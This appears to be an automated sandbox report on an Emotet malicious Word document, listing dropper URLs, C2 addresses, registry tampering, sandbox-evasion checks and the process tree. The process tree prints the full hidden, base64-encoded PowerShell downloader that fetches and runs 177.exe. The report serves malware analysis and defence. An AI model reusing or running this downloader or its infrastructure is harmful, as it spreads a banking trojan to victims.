emotet | 5df1f1341851c837a5892bd964c406fe101dd9154c3b5c1df36eb95372c604e0

General

Target

Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.85.doc
Sample

191212-a5tdvlcm7a
SHA256

5df1f1341851c837a5892bd964c406fe101dd9154c3b5c1df36eb95372c604e0

Score

10^/10

evasion trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://acqua.solarcytec.com/rtsbgs/XiWmtYYur/

exe.dropper

https://blog.learncy.net/wp-admin/user/oxZqQp/

exe.dropper

http://hospitalsanrafael.ainimedina.com/wp-includes/vwf-i8ge-4445917/

exe.dropper

https://sg771.kwikfunnels.com/phpmyadmin_bck/x9tfn-lv1h4-174129596/

exe.dropper

http://www.siyinjichangjia.com/wp-content/WYszsP/

Extracted

Family

emotet

C2

190.146.14.143:443

85.235.219.74:80

78.187.204.70:80

46.105.128.215:8080

69.30.205.162:7080

192.161.190.171:8080

163.172.97.112:8080

86.98.157.3:80

113.52.135.33:7080

175.127.140.68:80

212.129.14.27:8080

200.41.121.69:443

143.95.101.72:8080

190.161.67.63:80

50.116.78.109:8080

37.46.129.215:8080

119.57.36.54:8080

212.112.113.235:80

46.105.131.68:8080

1.32.54.12:8080

rsa_pubkey.plain

Signatures

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4936	WINWORD.EXE

Executes dropped EXE 4 IoCs

pid	Process
3800	177.exe
4820	177.exe
972	corsfunc.exe
1120	corsfunc.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4936	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	Powershell.exe

Suspicious behavior: EmotetMutantsSpam 1 IoCs

pid	Process
4820	177.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File renamed	C:\Users\Admin\177.exe => C:\Windows\SysWOW64\corsfunc.exe	177.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1"

Emotet
Emotet is a trojan that is primarily spread through spam emails
trojan banker emotet

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 4320	1476	SppExtComObj.exe	74
PID 4664 wrote to memory of 3800	4664	Powershell.exe	79
PID 3800 wrote to memory of 4820	3800	177.exe	82
PID 972 wrote to memory of 1120	972	corsfunc.exe	89

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\ESE.TXT	svchost.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4936	WINWORD.EXE
3800	177.exe
4820	177.exe
972	corsfunc.exe
1120	corsfunc.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4664	Powershell.exe

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.85.doc" /o ""
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4936

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\System32\SLUI.exe
  "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
  2⤵
  PID:4320

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABZAGwAcABnAGQAegBtAGIAPQAnAFUAcwBzAGIAYgBtAHoAaAB1AGgAeABrAGUAJwA7ACQATABnAGUAZABrAGsAZABxAHcAIAA9ACAAJwAxADcANwAnADsAJABJAHoAegBxAHoAaABxAHoAdAB5AHoAPQAnAEEAaQBkAHcAagBxAG4AbABjAGoAeABlAGoAJwA7ACQARABiAGIAcwBrAHAAdwBhAHoAdgBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAGcAZQBkAGsAawBkAHEAdwArACcALgBlAHgAZQAnADsAJABFAG4AaABsAGsAcABxAG0APQAnAFkAbQBjAHQAaABjAG4AagBrAHUAeQAnADsAJABCAHkAdwB3AG0AegB5AHAAbgBlAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABGAGkAdgBsAHcAbAB6AG8AeQB1AHUAdABsAD0AJwBoAHQAdABwADoALwAvAGEAYwBxAHUAYQAuAHMAbwBsAGEAcgBjAHkAdABlAGMALgBjAG8AbQAvAHIAdABzAGIAZwBzAC8AWABpAFcAbQB0AFkAWQB1AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AbABlAGEAcgBuAGMAeQAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBzAGUAcgAvAG8AeABaAHEAUQBwAC8AKgBoAHQAdABwADoALwAvAGgAbwBzAHAAaQB0AGEAbABzAGEAbgByAGEAZgBhAGUAbAAuAGEAaQBuAGkAbQBlAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAdwBmAC0AaQA4AGcAZQAtADQANAA0ADUAOQAxADcALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGcANwA3ADEALgBrAHcAaQBrAGYAdQBuAG4AZQBsAHMALgBjAG8AbQAvAHAAaABwAG0AeQBhAGQAbQBpAG4AXwBiAGMAawAvAHgAOQB0AGYAbgAtAGwAdgAxAGgANAAtADEANwA0ADEAMgA5ADUAOQA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBpAHkAaQBuAGoAaQBjAGgAYQBuAGcAagBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFkAcwB6AHMAUAAvACcALgAiAFMAYABQAGwASQB0ACIAKAAnACoAJwApADsAJABVAG4AaABjAGcAcQBiAG0AcABmAG0APQAnAFIAbgBmAGgAagB3AGIAaABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAgAGkAbgAgACQARgBpAHYAbAB3AGwAegBvAHkAdQB1AHQAbAApAHsAdAByAHkAewAkAEIAeQB3AHcAbQB6AHkAcABuAGUALgAiAEQAbwB3AE4AbABvAGAAQQBkAGYAYABJAEwAZQAiACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAsACAAJABEAGIAYgBzAGsAcAB3AGEAegB2AGYAKQA7ACQAUwB1AGcAawB1AHoAaQBmAGwAeQA9ACcAQwBuAGoAdgBhAGMAaQBnAHEAeQBhAGwAegAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADkAMAA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgB0ACIAKAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApADsAJABDAHIAZwBpAGsAdwBqAGwAawBxAD0AJwBYAGgAagBoAGUAcQBkAHQAegBhAGEAJwA7AGIAcgBlAGEAawA7ACQAVwB2AHQAdQB2AGwAcgB3AD0AJwBUAHMAZQBuAGYAZQB5AGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBqAGoAcAB0AGcAaQBhAGsAawA9ACcAQgBmAG4AYgBwAHIAcABmAGEAdQBhACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
PID:4664
- C:\Users\Admin\177.exe
  "C:\Users\Admin\177.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  - Suspicious use of SetWindowsHookEx
  PID:3800
- - C:\Users\Admin\177.exe
    --653e7fcf
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EmotetMutantsSpam
    - Drops file in System32 directory
    - Suspicious use of SetWindowsHookEx
    PID:4820

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Drops file in Windows directory
PID:4268

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4192

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
1⤵
PID:4816

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup
1⤵
PID:4708

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
1⤵
PID:4944

C:\Windows\SysWOW64\corsfunc.exe
"C:\Windows\SysWOW64\corsfunc.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:972
- C:\Windows\SysWOW64\corsfunc.exe
  --6736e0e3
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Disabling Security Tools

Modify Registry

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/972-24-0x0000000000E10000-0x0000000000E27000-memory.dmp

Filesize
92KB

Download
memory/3800-19-0x0000000000770000-0x0000000000787000-memory.dmp

Filesize
92KB

Download
memory/4820-21-0x0000000002240000-0x0000000002257000-memory.dmp

Filesize
92KB

Download
memory/4820-22-0x0000000000400000-0x0000000000495000-memory.dmp

Filesize
596KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads